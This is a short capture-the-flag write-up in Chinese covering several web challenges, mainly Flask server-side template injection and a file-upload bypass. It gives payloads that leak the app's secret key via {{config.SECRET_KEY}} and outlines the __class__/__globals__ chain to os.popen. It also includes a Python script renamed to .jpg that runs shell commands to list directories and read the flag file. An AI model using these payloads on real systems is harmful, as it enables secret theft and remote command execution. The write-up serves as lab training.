Simple_SSTI_1
查看页面源代码发现最后有一行注释
就是说:在flask中,设置了一个secret_key变量
- 随便传参看看有何变化,测试一下
http://114.67.175.224:17329/?flag={{1}}
可以正常显示传入的数据。
- 传入可能得文件
http://114.67.175.224:17329/?flag={{6*6}}
http://114.67.175.224:17329/?flag={{flag.html}}
发现flag未定义
直接测试config.SECRET_KEY
http://114.67.175.224:18052/?flag={{config.SECRET_KEY}}
Simple_SSTI_2
试一试
__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
open() 方法用于打开一个文件,并返回文件对象
直接cat
Flask_FileUpload
查看页面源代码,提示需要提交python
直接上传python脚本,修改包的文件扩展名为jpg
import os
os.system('ls ../')
os.system('cat ../flag')
滑稽
fn+f12
计算器
发现验证码32+82应该为3位数,可是表单中输入框最大长度为1,所以修改一下把1变成3